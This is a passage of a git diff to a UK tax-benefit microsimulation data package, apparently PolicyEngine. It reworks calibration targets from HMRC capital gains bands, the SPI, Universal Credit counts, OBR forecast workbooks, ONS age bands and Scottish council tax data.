return ( + float(bands.taxpayers_thousands.sum()) * 1e3, + float(bands.gains_gbp_millions.sum()) * 1e6, + ) + + +# Number of CGT taxpayers and their total chargeable gains, 2024-25, +# individuals with gains above the AEA. +_CGT_TAXPAYERS, _CGT_TOTAL_GAINS = _outturn_totals() + def _annual_exempt_amount(ctx, year: int) -> float: """Annual exempt amount in force in ``year``. @@ -140,33 +181,14 @@ def _project_gains(base_value: float) -> dict[int, float]: # --- Size-of-gain band targets -------------------------------------------- # -# The aggregate count and total above cannot, on their own, constrain the -# *shape* of the gains distribution: the published enhanced FRS carried -# only ~1.6% of gains in gains of £1m+ against HMRC's ~61%, while still -# being able to satisfy an aggregate total. HMRC Table 2.1a (committed as -# capital_gains_size_distribution_hmrc.csv) publishes taxpayer counts and -# gains by size of gain, so each band becomes a target pair. The -# zero-weight donor households stacked in -# datasets/imputations/capital_gains.py carry each band's mean gain, which -# gives the calibration records it can weight to satisfy these targets. -# -# Bands below £12,300 are skipped: HMRC's sub-AEA rows mix exemption -# regimes and are definitionally incomplete (see the CSV header), and the -# spline-imputed body already covers small gains. - -_SIZE_BANDS_FILE = "capital_gains_size_distribution_hmrc.csv" -_MIN_BAND_LOWER = 12_300 - - -def _load_size_bands(): - import pandas as pd - - from policyengine_uk_data.storage import STORAGE_FOLDER - - bands = pd.read_csv(STORAGE_FOLDER / _SIZE_BANDS_FILE, comment="#") - bands = bands[bands.lower_limit >= _MIN_BAND_LOWER].reset_index(drop=True) - bands["upper_limit"] = bands.lower_limit.shift(-1).fillna(np.inf) - return bands +# The aggregate count and total cannot, on their own, constrain the *shape* +# of the gains distribution: an earlier enhanced FRS carried only ~1.6% of +# gains in gains of £1m+ against HMRC's ~61%, while still being able to +# satisfy an aggregate total. Each band of Table 2.1a from the AEA up +# therefore becomes a target pair. The imputation in +# datasets/imputations/capital_gains.py gives every band records to weight, +# and the calibration starts with each band's taxpayer count on its target +# (see band_count_target_names). def _band_mask(ctx, year: int, lower: float, upper: float) -> np.ndarray: @@ -193,36 +215,50 @@ def compute(ctx, target: Target, year: int) -> np.ndarray: return compute +def _band_count_name(lower: float) -> str: + return f"hmrc/cgt_taxpayers_band_{int(lower)}" + + +def band_count_target_names() -> list[str]: + """Names of the per-band taxpayer-count targets. + + The bands partition CGT taxpayers by size of gain, so the households + behind one of these targets are behind no other. The calibration + scales its starting weights so that each is met before the first + epoch (``calibrate_local_areas(prior_rake_targets=...)``). + """ + return [_band_count_name(lower) for lower in load_size_bands().lower_limit] + + def _band_targets(reference_url: str) -> list[Target]: targets = [] - for row in _load_size_bands().itertuples(): + for row in load_size_bands().itertuples(): lower = float(row.lower_limit) upper = float(row.upper_limit) count = float(row.taxpayers_thousands) * 1e3 gains = float(row.gains_gbp_millions) * 1e6 - label = f"{int(lower)}" targets.append( Target( - name=f"hmrc/cgt_taxpayers_band_{label}", + name=_band_count_name(lower), variable="capital_gains", source="hmrc", unit=Unit.COUNT, values={year: count for year in range(_CGT_BASE_YEAR, _MAX_YEAR + 1)}, is_count=True, reference_url=reference_url, - forecast_vintage="2023-24 outturn", + forecast_vintage=_OUTTURN_LABEL, custom_compute=_make_band_count_compute(lower, upper), ) ) targets.append( Target( - name=f"hmrc/capital_gains_band_{label}", + name=f"hmrc/capital_gains_band_{int(lower)}", variable="capital_gains", source="hmrc", unit=Unit.GBP, values=_project_gains(gains), reference_url=reference_url, - forecast_vintage="2023-24 outturn", + forecast_vintage=_OUTTURN_LABEL, custom_compute=_make_band_gains_compute(lower, upper), ) ) @@ -251,7 +287,7 @@ def get_targets() -> list[Target]: unit=Unit.GBP, values=gains_values, reference_url=reference_url, - forecast_vintage="2023-24 outturn", + forecast_vintage=_OUTTURN_LABEL, custom_compute=compute_capital_gains_total, ), Target( @@ -262,7 +298,7 @@ def get_targets() -> list[Target]: values=count_values, is_count=True, reference_url=reference_url, - forecast_vintage="2023-24 outturn", + forecast_vintage=_OUTTURN_LABEL, custom_compute=compute_cgt_taxpayers, ), ] + _band_targets(reference_url) diff --git a/policyengine_uk_data/targets/sources/hmrc_spi.py b/policyengine_uk_data/targets/sources/hmrc_spi.py index 17b375b8e..c76c60bc1 100644 --- a/policyengine_uk_data/targets/sources/hmrc_spi.py +++ b/policyengine_uk_data/targets/sources/hmrc_spi.py @@ -53,8 +53,11 @@ ] _BAND_UPPER = _BAND_LOWER[1:] + [float("inf")] -# SPI year: the ODS is for tax year 2023-24, mapped to calendar 2024 -_SPI_YEAR = 2024 +# SPI year: the ODS is for tax year 2023-24. PolicyEngine UK's year N is +# tax year N to N+1 (policyengine-uk's convert_to_fiscal_year_parameters +# reads each parameter at 30 April N), so the outturn belongs to 2023. +# Later years come from incomes_projection.csv. +_SPI_YEAR = 2023 # HMRC Property Rental Income Statistics show ~1.9x more property income # than the SPI (£46.68bn vs £24.5bn for 2020-21), because SPI only covers @@ -229,8 +232,13 @@ def get_income_band_table(include_aggregate: bool = True) -> pd.DataFrame: def get_targets() -> list[Target]: """Build income-band targets from the live HMRC SPI ODS. - Also reads incomes_projection.csv if available, which contains - projected future year data generated by the microsimulation. + Also reads incomes_projection.csv if available, which projects the + same bands to later years with PolicyEngine's uprating indices. Each + band is returned as one target holding the base year and every + projected year: the registry keeps only the first target of a name, + and calibration reads targets without a year filter, so a band split + across two targets would lose its projected years and be calibrated + to the base-year outturn carried forward. """ config = load_config() ref = config["hmrc"]["spi_collated"] @@ -291,7 +299,18 @@ def get_targets() -> list[Target]: if proj_path.exists(): targets.extend(_read_projection_csv(proj_path, ref)) - return targets + return _merge_by_name(targets) + + +def _merge_by_name(targets: list[Target]) -> list[Target]: + """Combine targets that share a name into one, merging their years.""" + merged: dict[str, Target] = {} + for t in targets: + if t.name in merged: + merged[t.name].values.update(t.values) + else: + merged[t.name] = t + return list(merged.values()) def _read_projection_csv(csv_path: Path, ref: str) -> list[Target]: @@ -355,12 +374,4 @@ def _read_projection_csv(csv_path: Path, ref: str) -> list[Target]: ) ) - # Merge targets with the same name across years - merged: dict[str, Target] = {} - for t in targets: - if t.name in merged: - merged[t.name].values.update(t.values) - else: - merged[t.name] = t - - return list(merged.values()) + return _merge_by_name(targets) diff --git a/policyengine_uk_data/targets/sources/local_uc.py b/policyengine_uk_data/targets/sources/local_uc.py index a8420c964..a2b2f802f 100644 --- a/policyengine_uk_data/targets/sources/local_uc.py +++ b/policyengine_uk_data/targets/sources/local_uc.py @@ -71,14 +71,12 @@ def _scaled_uc_children_by_country(gb_total_households: float) -> dict[str, np.n def get_constituency_uc_targets() -> pd.Series: - """UC household counts for 650 constituencies (positional order). - - Returns Series of household_count values, aligned to the same - ordering as the constituency age.csv. - """ + """UC household counts indexed by 2024 constituency code.""" from policyengine_uk_data.utils.uc_data import uc_pc_households - return uc_pc_households.household_count + return uc_pc_households.set_index("code", verify_integrity=True)[ + "household_count" + ].sort_index() def get_constituency_uc_by_children_targets() -> pd.DataFrame: @@ -87,50 +85,43 @@ def get_constituency_uc_by_children_targets() -> pd.DataFrame: Applies country-level proportions from Stat-Xplore to each constituency's total UC count. Returns a DataFrame with columns ``uc_hh_0_children``, ``uc_hh_1_child``, ``uc_hh_2_children``, - ``uc_hh_3plus_children``, in the same positional order as - :func:`get_constituency_uc_targets`. + ``uc_hh_3plus_children``, indexed by 2024 constituency code. Integer + buckets sum exactly to each area's total, using its matched country. """ - from policyengine_uk_data.utils.uc_data import uc_pc_households - from policyengine_uk_data.storage import STORAGE_FOLDER - - codes = pd.read_csv(STORAGE_FOLDER / "constituencies_2024.csv")["code"] - totals = uc_pc_households.household_count.values.astype(float) + totals = get_constituency_uc_targets() - result = pd.DataFrame(index=range(len(totals))) cols = [ "uc_hh_0_children", "uc_hh_1_child", "uc_hh_2_children", "uc_hh_3plus_children", ] - for col in cols: - result[col] = 0.0 - - gb_total = totals[codes.str[0].isin(["E", "W", "S"])].sum() + gb_total = totals[totals.index.str[0].isin(["E", "W", "S"])].sum() country_buckets = _scaled_uc_children_by_country(gb_total) - for i, (total, code) in enumerate(zip(totals, codes)): - country_prefix = code[0] - proportions = country_buckets.get( - country_prefix, - country_buckets["N"], # fallback - ) + rows = [] + for code, total in totals.items(): + proportions = country_buckets[code[0]] shares = proportions / proportions.sum() - for j, col in enumerate(cols): - result.loc[i, col] = round(total * shares[j]) + expected = total * shares + counts = np.floor(expected).astype(int) + # Allocate remaining households to the largest fractional parts. + # Independent rounding can otherwise lose or add a household. + remainder = int(total - counts.sum()) + order = np.argsort(-(expected - counts), kind="stable") + counts[order[:remainder]] += 1 + rows.append(counts) - return result + return pd.DataFrame(rows, index=totals.index, columns=cols) def get_la_uc_targets() -> pd.Series: - """UC household counts for 360 local authorities (positional order). - - Returns Series of household_count values, aligned to the same - ordering as the LA age.csv. - """ + """UC household counts indexed by local authority code.""" from policyengine_uk_data.utils.uc_data import uc_la_households - return uc_la_households.household_count + return uc_la_households.set_index("code", verify_integrity=True)[ + "household_count" + ].sort_index() REFERENCE_URL = _REF diff --git a/policyengine_uk_data/targets/sources/obr.py b/policyengine_uk_data/targets/sources/obr.py index 1b7d3661c..ff57ff055 100644 --- a/policyengine_uk_data/targets/sources/obr.py +++ b/policyengine_uk_data/targets/sources/obr.py @@ -1,150 +1,28 @@ """OBR Economic and Fiscal Outlook targets. -Downloads and parses the OBR's detailed supplementary tables (receipts -and expenditure xlsx) to extract tax receipt forecasts, benefit -expenditure, and benefit caseloads. - -Sources: -- Receipts: https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-receipts/ -- Expenditure: https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-expenditure/ +Parses the OBR's detailed forecast tables (receipts and expenditure +workbooks) to extract tax receipt forecasts, benefit expenditure, and +benefit caseloads. The workbooks are the committed, hash-verified files the +active manifest names (``targets/obr_sources.py``); nothing is downloaded. +Each table's year columns are read from its header row, and a missing +target or year fails the build. """ -import io import logging -import time -from functools import lru_cache import openpyxl -import requests -from policyengine_uk_data.targets.schema import GREAT_BRITAIN, Target, Unit -from policyengine_uk_data.targets.sources._common import ( - HEADERS, - load_config, +from policyengine_uk_data.targets.obr_sources import ( + ObrManifest, + active_manifest, + check_coverage, + load_workbook, + read_row, ) +from policyengine_uk_data.targets.schema import GREAT_BRITAIN, Target, Unit logger = logging.getLogger(__name__) -# Financial year columns in OBR tables: C=2024-25, D=2025-26, ..., I=2030-31 -# PolicyEngine convention: FY 2025-26 → calendar year 2025 (first year) -_FY_COL_TO_YEAR = { - "C": 2024, - "D": 2025, - "E": 2026, - "F": 2027, - "G": 2028, - "H": 2029, - "I": 2030, -} - - -# OBR occasionally rate-limits CI runners (HTTP 429) or returns transient 5xx -# errors. Retry with exponential backoff so a single throttled response does not -# drop the whole OBR target set and red an unrelated build. -_DOWNLOAD_MAX_ATTEMPTS = 4 -_DOWNLOAD_RETRY_STATUSES = {429, 500, 502, 503, 504} - - -# obr.uk serves 403 Forbidden to GitHub Actions runner IPs (observed on the -# 2026-07-21 push builds: every attempt 403'd while the same URLs work from -# residential connections). A 403 is not retryable, and losing the workbook -# silently drops 28 OBR targets and calibrates a degraded dataset. The EFO -# workbooks for the vintage pinned in sources.yaml are therefore committed -# under storage/obr_efo/ — following the committed-not-fetched precedent of -# capital_gains_size_distribution_hmrc.csv and ons_demographics.py — and -# used as a fallback whenever the download fails. Update them together with -# the sources.yaml URLs when a new EFO vintage is adopted. -_EFO_FALLBACKS = { - "receipts": "efo_receipts.xlsx", - "expenditure": "efo_expenditure.xlsx", -} - - -def _fallback_workbook(url: str) -> openpyxl.Workbook | None: - from policyengine_uk_data.storage import STORAGE_FOLDER - - for slug, filename in _EFO_FALLBACKS.items(): - if slug in url: - path = STORAGE_FOLDER / "obr_efo" / filename - if path.exists(): - return openpyxl.load_workbook(path, data_only=False) - return None - - -@lru_cache(maxsize=2) -def _download_workbook(url: str) -> openpyxl.Workbook: - """Download an xlsx from OBR and return an openpyxl workbook. - - Retries transient HTTP errors (429/5xx) and connection failures with - exponential backoff, honouring a numeric Retry-After header when - present. Falls back to the committed workbook in storage/obr_efo/ when - the download ultimately fails: obr.uk 403s CI runner IPs, and can answer - 200 with an HTML page that is not a workbook. Neither is retried. - """ - last_error: Exception | None = None - for attempt in range(_DOWNLOAD_MAX_ATTEMPTS): - wait = 2**attempt - try: - r = requests.get(url, headers=HEADERS, allow_redirects=True, timeout=60) - except requests.RequestException as e: - last_error = e # connection/timeout — retryable - else: - if r.status_code < 400: - # obr.uk can answer 200 with an HTML "No Access" page instead - # of the workbook (observed 2026-10-04). A body openpyxl cannot - # read will not become a workbook on retry, so it is permanent, - # like a 403. An openpyxl break on every workbook still - # surfaces, as the fallback goes through the same load_workbook. - try: - return openpyxl.load_workbook( - io.BytesIO(r.content), data_only=False - ) - except Exception as e: - last_error = ValueError( - f"{r.status_code} for url: {url}, but the body " - f"({r.headers.get('Content-Type', 'no Content-Type')}) " - "could not be read as an xlsx workbook " - f"({type(e).__name__}: {e})" - ) - last_error.__cause__ = e - break - last_error = requests.HTTPError( - f"{r.status_code} for url: {url}", response=r - ) - if r.status_code not in _DOWNLOAD_RETRY_STATUSES: - break # 403 and other permanent errors: don't burn retries - retry_after = r.headers.get("Retry-After", "") - if retry_after.isdigit(): - wait = int(retry_after) - if attempt < _DOWNLOAD_MAX_ATTEMPTS - 1: - logger.warning( - "OBR download %s failed (%s); retrying in %ss", - url, - last_error, - wait, - ) - time.sleep(wait) - fallback = _fallback_workbook(url) - if fallback is not None: - logger.warning( - "OBR download %s failed (%s); using committed workbook fallback", - url, - last_error, - ) - return fallback - raise last_error - - -def _read_row_values(ws, row_num: int, col_letters: list[str]) -> dict[int, float]: - """Read numeric values from a row, mapped to calendar years.""" - result = {} - for col in col_letters: - cell = ws[f"{col}{row_num}"] - val = cell.value - if val is not None and isinstance(val, (int, float)): - result[_FY_COL_TO_YEAR[col]] = float(val) * 1e9 - return result - def _find_receipts_sheet(wb): """Return the current-receipts worksheet, located by title. @@ -193,40 +71,19 @@ def _find_row(ws, label: str, col: str = "B", max_row: int = 80) -> int: raise ValueError(f"Row '{label}' not found in sheet") -def _parse_receipts(wb: openpyxl.Workbook) -> list[Target]: +def _parse_receipts( + wb: openpyxl.Workbook, manifest: ObrManifest | None = None +) -> list[Target]: """Parse tax receipts from the OBR EFO. Income tax uses Table 3.4 (accrued basis) for consistency with the standard fiscal forecasting convention. Other receipts use the current-receipts table (cash basis) since they only appear there; that table is located by title because EFO vintages renumber the sheets. + NICs are not read here: ``_parse_nics`` targets them by class. """ - config = load_config() - vintage = config["obr"]["vintage"] - ref = config["obr"]["efo_receipts"] - cols_34 = list(_FY_COL_TO_YEAR.keys()) - - # Table 3.9 columns are shifted right by one vs 3.4 - cols_39 = ["D", "E", "F", "G", "H", "I", "J"] - fy_39 = { - "D": 2024, - "E": 2025, - "F": 2026, - "G": 2027, - "H": 2028, - "I": 2029, - "J": 2030, - } - - def read_39(ws, row_num: int) -> dict[int, float]: - result = {} - for col in cols_39: - cell = ws[f"{col}{row_num}"] - val = cell.value - if val is not None and isinstance(val, (int, float)): - result[fy_39[col]] = float(val) * 1e9 - return result - + manifest = manifest or active_manifest() + vintage, ref = manifest.vintage, manifest.files["receipts"].url targets = [] # Income tax from Table 3.4 (accrued basis) @@ -235,7 +92,7 @@ def read_39(ws, row_num: int) -> dict[int, float]: row_num = _find_row( ws34, "Income tax (gross of tax credits)", col="B", max_row=30 ) - values = _read_row_values(ws34, row_num, cols_34) + values = read_row(ws34, row_num, manifest) if values: targets.append( Target( @@ -255,9 +112,19 @@ def read_39(ws, row_num: int) -> dict[int, float]: # located by title rather than number: EFO vintages renumber the tables, and # in March 2026 current receipts moved to 3.8 while 3.9 became the APD # forecast, which silently yielded no targets at all. + # + # The "National insurance contributions" row is deliberately not targeted. + # It is total NICs, and it used to be targeted on ni_employee, which + # _parse_nics also targets at the Class 1 employee figure (£200bn against + # £50bn on one variable in 2025-26). Retargeting it on + # total_national_insurance would still conflict: the total also counts + # statutory payment recoveries and "Other NIC" (Class 1A, 1B and 3, + # settlements, unallocated). PE-UK has no variable for statutory payment + # recoveries, Class 1A, Class 1B, settlements or unallocated NICs, and + # ni_class_3 exists but no dataset fills it (#378). The class targets + # already cover every NIC class the data populates. ws39 = _find_receipts_sheet(wb) cash_rows = { - "ni": ("National insurance contributions", "ni_employee"), "vat": ("Value added tax", "vat"), "fuel_duties": ("Fuel duties", "fuel_duty"), "capital_gains_tax": ("Capital gains tax", "capital_gains_tax"), @@ -268,7 +135,7 @@ def read_39(ws, row_num: int) -> dict[int, float]: for name, (label, variable) in cash_rows.items(): try: row_num = _find_row(ws39, label, col="B", max_row=80) - values = read_39(ws39, row_num) + values = read_row(ws39, row_num, manifest) if values: recovered.append(label) targets.append( @@ -299,33 +166,14 @@ def read_39(ws, row_num: int) -> dict[int, float]: return targets -def _parse_council_tax(wb: openpyxl.Workbook) -> list[Target]: +def _parse_council_tax( + wb: openpyxl.Workbook, manifest: ObrManifest | None = None +) -> list[Target]: """Parse Table 4.1 (council tax receipts) from expenditure xlsx.""" - config = load_config() - vintage = config["obr"]["vintage"] - ref = config["obr"]["efo_expenditure"] + manifest = manifest or active_manifest() + vintage, ref = manifest.vintage, manifest.files["expenditure"].url ws = wb["4.1"] - cols = ["C", "D", "E", "F", "G", "H", "I"] - fy = { - "C": 2024, - "D": 2025, - "E": 2026, - "F": 2027, - "G": 2028, - "H": 2029, - "I": 2030, - } - - def read_41(row_num: int) -> dict[int, float]: - result = {} - for col in cols: - cell = ws[f"{col}{row_num}"] - val = cell.value - if val is not None and isinstance(val, (int, float)): - result[fy[col]] = float(val) * 1e9 - return result - ct_rows = { "council_tax": ("Total net council tax receipts", "council_tax"), "council_tax_england": ( @@ -344,7 +192,7 @@ def read_41(row_num: int) -> dict[int, float]: for name, (label, variable) in ct_rows.items(): try: row_num = _find_row(ws, label, col="B", max_row=30) - values = read_41(row_num) + values = read_row(ws, row_num, manifest) if values: targets.append( Target( @@ -363,23 +211,22 @@ def read_41(row_num: int) -> dict[int, float]: return targets -def _parse_nics(wb: openpyxl.Workbook) -> list[Target]: +def _parse_nics( + wb: openpyxl.Workbook, manifest: ObrManifest | None = None +) -> list[Target]: """Parse Table 3.4 (income tax and NICs detail) for all NIC classes. - Covers Class 1 employee and employer (PAYE), plus Classes 2, 3 and 4 - (self-employed flat-rate, voluntary, and self-employed profit-based). - Omitting Classes 2/3/4 biased calibration by ~£2-5B/yr of NIC receipts - — the omission pushed self-employment income downward to compensate, - distorting reforms that touch SE income. + Covers Class 1 employee and employer (PAYE) and the self-employed + Classes 2 and 4, as one combined line or as separate rows. Class 3 + (voluntary) is left out: no dataset populates ni_class_3 (#378). Where a row label is not found the parser logs a warning and skips that - variable, so partial matches still produce useful targets. + variable; the manifest's required targets then fail the build unless one + of the self-employed alternatives was found. """ - config = load_config() - vintage = config["obr"]["vintage"] - ref = config["obr"]["efo_receipts"] + manifest = manifest or active_manifest() + vintage, ref = manifest.vintage, manifest.files["receipts"].url ws = wb["3.4"] - cols = list(_FY_COL_TO_YEAR.keys()) # Map of target name → (list of candidate labels to search, variable # name). Candidates let us accept minor wording variation in OBR EFOs @@ -455,7 +302,7 @@ def _parse_nics(wb: openpyxl.Workbook) -> list[Target]: ) continue - values = _read_row_values(ws, row_num, cols) + values = read_row(ws, row_num, manifest) if not values: continue @@ -499,32 +346,16 @@ def _universal_credit_rows(ws) -> tuple[int, int]: return inside[0], outside[0] -def _parse_welfare(wb: openpyxl.Workbook) -> list[Target]: +def _parse_welfare( + wb: openpyxl.Workbook, manifest: ObrManifest | None = None +) -> list[Target]: """Parse Table 4.9 (welfare spending) from expenditure xlsx.""" - config = load_config() - vintage = config["obr"]["vintage"] - ref = config["obr"]["efo_expenditure"] + manifest = manifest or active_manifest() + vintage, ref = manifest.vintage, manifest.files["expenditure"].url ws = wb["4.9"] - cols = ["C", "D", "E", "F", "G", "H", "I"] - fy = { - "C": 2024, - "D": 2025, - "E": 2026, - "F": 2027, - "G": 2028, - "H": 2029, - "I": 2030, - } - def read_49(row_num: int) -> dict[int, float]: - result = {} - for col in cols: - cell = ws[f"{col}{row_num}"] - val = cell.value - if val is not None and isinstance(val, (int, float)): - result[fy[col]] = float(val) * 1e9 - return result + return read_row(ws, row_num, manifest) # "Housing benefit (not on JSA)" is not targeted: it is DWP-funded GB # spending only, and dwp_housing_benefit.py targets total GB Housing @@ -617,48 +448,32 @@ def read_49(row_num: int) -> dict[int, float]: return targets -def _parse_tv_licence(wb: openpyxl.Workbook) -> list[Target]: +def _parse_tv_licence( + wb: openpyxl.Workbook, manifest: ObrManifest | None = None +) -> list[Target]: """Parse Table 4.19 (BBC) from expenditure xlsx.""" - config = load_config() - vintage = config["obr"]["vintage"] - ref = config["obr"]["efo_expenditure"] + manifest = manifest or active_manifest() + vintage, ref = manifest.vintage, manifest.files["expenditure"].url try: ws = wb["4.19"] - cols = ["C", "D", "E", "F", "G", "H", "I"] - fy = { - "C": 2024, - "D": 2025, - "E": 2026, - "F": 2027, - "G": 2028, - "H": 2029, - "I": 2030, - } - - # Find "Licence fee receipts" or "BBC licence fee" - for row_num in range(1, 30): - val = ws[f"B{row_num}"].value - if val and "licence fee" in str(val).lower(): - values = {} - for col in cols: - cell = ws[f"{col}{row_num}"] - v = cell.value - if v is not None and isinstance(v, (int, float)): - values[fy[col]] = float(v) * 1e9 - if values: - return [ - Target( - name="obr/tv_licence_fee", - variable="tv_licence", - source="obr", - unit=Unit.GBP, - values=values, - reference_url=ref, - forecast_vintage=vintage, - ) - ] - except Exception: + # The receipts row only: neighbouring rows such as "Standard colour + # licence fee (£)" share the words but not the unit. + row_num = _find_row(ws, "BBC licence fee receipts", max_row=30) + values = read_row(ws, row_num, manifest) + if values: + return [ + Target( + name="obr/tv_licence_fee", + variable="tv_licence", + source="obr", + unit=Unit.GBP, + values=values, + reference_url=ref, + forecast_vintage=vintage, + ) + ] + except (KeyError, ValueError): logger.warning("OBR: TV licence table not found") return [] @@ -683,24 +498,29 @@ def _parse_tv_licence(wb: openpyxl.Workbook) -> list[Target]: } -def get_targets() -> list[Target]: - config = load_config() - targets = [] +def workbook_targets(manifest: ObrManifest | None = None, storage=None) -> list[Target]: + """The targets a vintage's two verified workbooks yield. - try: - receipts_wb = _download_workbook(config["obr"]["efo_receipts"]) - targets.extend(_parse_receipts(receipts_wb)) - targets.extend(_parse_nics(receipts_wb)) - except Exception as e: - logger.error("Failed to download/parse OBR receipts: %s", e) + Fails if either workbook is not the file its manifest names, or if any + target or year the manifest requires is missing. + """ + manifest = manifest or active_manifest() + receipts = load_workbook("receipts", manifest, storage) + expenditure = load_workbook("expenditure", manifest, storage) + targets = [ + *_parse_receipts(receipts, manifest), + *_parse_nics(receipts, manifest), + *_parse_council_tax(expenditure, manifest), + *_parse_welfare(expenditure, manifest), + *_parse_tv_licence(expenditure, manifest), + ] + check_coverage(targets, manifest) + return targets - try: - expenditure_wb = _download_workbook(config["obr"]["efo_expenditure"]) - targets.extend(_parse_council_tax(expenditure_wb)) - targets.extend(_parse_welfare(expenditure_wb)) - targets.extend(_parse_tv_licence(expenditure_wb)) - except Exception as e: - logger.error("Failed to download/parse OBR expenditure: %s", e) + +def get_targets() -> list[Target]: + # Not caught: a calibration without the OBR targets is never correct. + targets = workbook_targets() # Static targets that don't come from the xlsx targets.append( diff --git a/policyengine_uk_data/targets/sources/ons_demographics.py b/policyengine_uk_data/targets/sources/ons_demographics.py index 0d04f6315..a40a0a4dd 100644 --- a/policyengine_uk_data/targets/sources/ons_demographics.py +++ b/policyengine_uk_data/targets/sources/ons_demographics.py @@ -3,10 +3,9 @@ Downloads the ONS 2024-based principal population projection for the UK to extract total population and gender × age band targets. -For regional age breakdowns (12 regions × 9 age bands), reads the -pre-existing demographics.csv which was extracted from ONS subnational -projections. The subnational projections don't have a stable machine- -readable download URL, so this is the pragmatic compromise. +Regional age breakdowns use demographics.csv below age 80 and a committed +ONS projection extract for 80+, including the terminal age group. See +tools/ons_age_targets for the sources and extraction method. Household type and tenure targets are from ONS families & households datasets (also lacking stable machine-readable URLs). @@ -52,7 +51,7 @@ _YEARS = list(range(2022, 2030)) -# Age band boundaries +# FRS ages are top-coded at 80, so the last band includes every older age. _AGE_BANDS = [ (0, 9), (10, 19), @@ -62,16 +61,18 @@ (50, 59), (60, 69), (70, 79), - (80, 89), + (80, None), ] # Five-year bands. The previous 15-year bands (0-14, 15-29, ...) pinned only # the band totals, leaving the age composition *within* a band unconstrained # nationally: the calibration could satisfy 15-29 while starving 18-24, which # is what collapsed the modelled young-adult population to ~3.4M against ONS's -# ~5.4M. Regional targets already use finer bands, but they do not constrain -# the national weights. The ONS projection is published by single year of age, -# so this is a change of aggregation only - no new source data. +# ~5.4M. Regional ten-year bands also constrain the shared household weights, +# including summed local weights in dense local calibration, but provide less +# age resolution than these five-year sex bands. The ONS projection is published +# by single year of age, so this is a change of aggregation only - no new source +# data. _GENDER_BANDS = [ (0, 4), (5, 9), @@ -89,8 +90,7 @@ (65, 69), (70, 74), (75, 79), - (80, 84), - (85, 90), + (80, None), ] @@ -121,12 +121,19 @@ def _find_projection_member(names: list[str]) -> str: def _aggregate_ages( - df: pd.DataFrame, sex: str, low: int, high: int, years: list[int] + df: pd.DataFrame, sex: str, low: int, high: int | None, years: list[int] ) -> dict[int, float]: - """Sum population for a sex and age range across years.""" + """Sum an inclusive age band; None includes the projection's terminal age.""" sex_filter = "Females" if sex == "female" else "Males" - ages = pd.to_numeric(df["Age"], errors="coerce") - mask = (df["Sex"] == sex_filter) & ages.between(low, high) + # Use each group's lower age: the 2024-based workbook ends with + # "105 - 109" and "110 and over"; older vintages can use "90+". + ages = pd.to_numeric( + df["Age"].astype(str).str.extract(r"^(\d+)", expand=False), errors="coerce" + ) + age_mask = ages >= low + if high is not None: + age_mask &= ages <= high + mask = (df["Sex"] == sex_filter) & age_mask subset = df[mask] result = {} for y in years: @@ -176,7 +183,7 @@ def _parse_uk_totals(df: pd.DataFrame) -> list[Target]: if values: targets.append( Target( - name=f"ons/{sex}_{low}_{high}", + name=f"ons/{sex}_{low}_{'plus' if high is None else high}", variable="age", source="ons", unit=Unit.COUNT, @@ -190,17 +197,19 @@ def _parse_uk_totals(df: pd.DataFrame) -> list[Target]: def _parse_regional_from_csv() -> list[Target]: - """Read regional age band targets from demographics.csv. - - This CSV was extracted from ONS subnational projections which - lack a stable machine-readable download URL. - """ + """Read regional bands, replacing the legacy bounded top band with 80+.""" csv_path = STORAGE / "demographics.csv" if not csv_path.exists(): logger.warning("demographics.csv not found, skipping regional") return [] demographics = pd.read_csv(csv_path) + # Replace the legacy bounded 80-89 targets with direct ONS 80+ sums, + # including 90+, instead of relabelling totals with a different scope. + demographics = demographics[~demographics["name"].str.endswith("_age_80_89")] + top_bands = pd.read_csv(STORAGE / "regional_age_80_plus.csv") + top_bands["unit"] = "person" + demographics = pd.concat([demographics, top_bands], ignore_index=True) targets = [] # Skip rows now handled by dedicated modules (ons_households.py, @@ -231,8 +240,8 @@ def _parse_regional_from_csv() -> list[Target]: for y in _YEARS: col = str(y) if col in row.index and pd.notna(row[col]): - # Values in CSV are in thousands - values[y] = float(row[col]) * 1e3 + scale = 1 if row["unit"] == "person" else 1e3 + values[y] = float(row[col]) * scale if values: targets.append( Target( @@ -243,7 +252,11 @@ def _parse_regional_from_csv() -> list[Target]: geographic_level=GeographicLevel.REGION, values=values, is_count=True, - reference_url=_REF_REGION, + reference_url=( + row["reference_url"] + if pd.notna(row.get("reference_url")) + else _REF_REGION + ), ) ) diff --git a/policyengine_uk_data/targets/sources/voa_council_tax.py b/policyengine_uk_data/targets/sources/voa_council_tax.py index 8b22015ac..fc68b336f 100644 --- a/policyengine_uk_data/targets/sources/voa_council_tax.py +++ b/policyengine_uk_data/targets/sources/voa_council_tax.py @@ -1,22 +1,22 @@ """VOA council tax band targets. Council tax band counts (A-H + total) by region from the latest VOA -stock-of-properties summary workbook, plus Scotland from the latest -Scottish Government chargeable-dwellings workbook. +stock-of-properties summary workbook, plus Scotland from the Scottish +Government's chargeable-dwellings workbook for September 2025, committed +and verified by its SHA-256 (gov.scot's CloudFront challenge blocks +scripted downloads, and a substitute distribution made builds of the same +code calibrate to different targets, #596). Sources: - https://www.gov.uk/government/statistics/council-tax-stock-of-properties-2025 - https://www.gov.scot/publications/council-tax-datasets/ """ +import hashlib from functools import lru_cache -from html import unescape from io import BytesIO import logging import re -import time -from urllib.parse import urljoin -from zipfile import BadZipFile import openpyxl import requests @@ -40,24 +40,12 @@ "chargeable-dwellings---september-2025-data/govscot%3Adocument/" "CTAXBASE%2B2025%2B-%2BTables%2B-%2BChargeable%2BDwellings.xlsx" ) -_SCOTLAND_WORKBOOK_LINK = re.compile( - r'href="([^"]*chargeable-dwellings---september-2025-data[^"]+?\.xlsx)"', - re.IGNORECASE, +# Downloaded from _SCOTLAND_WORKBOOK_URL on 2026-10-15. Its Scotland row +# equals the targets of pull request builds whose download succeeded. +_SCOTLAND_WORKBOOK_FILE = "scotland_council_tax/ctaxbase_2025_chargeable_dwellings.xlsx" +_SCOTLAND_WORKBOOK_SHA256 = ( + "8e431837aa37ee298c9a2b9b010b8ecbc7e3a817573a3a84f6251e6db00a591f" ) -_SCOTLAND_FALLBACK_TOTAL_2025 = 2_623_149 -_SCOTLAND_FALLBACK_BAND_SHARES_2024_25 = { - # Shares published by the Scottish Government in council-tax reform - # analysis from the CTAXBASE council tax datasets. They are used only - # when gov.scot's CloudFront challenge blocks the workbook download. - "A": 0.191, - "B": 0.223, - "C": 0.163, - "D": 0.140, - "E": 0.139, - "F": 0.084, - "G": 0.054, - "H": 0.006, -} 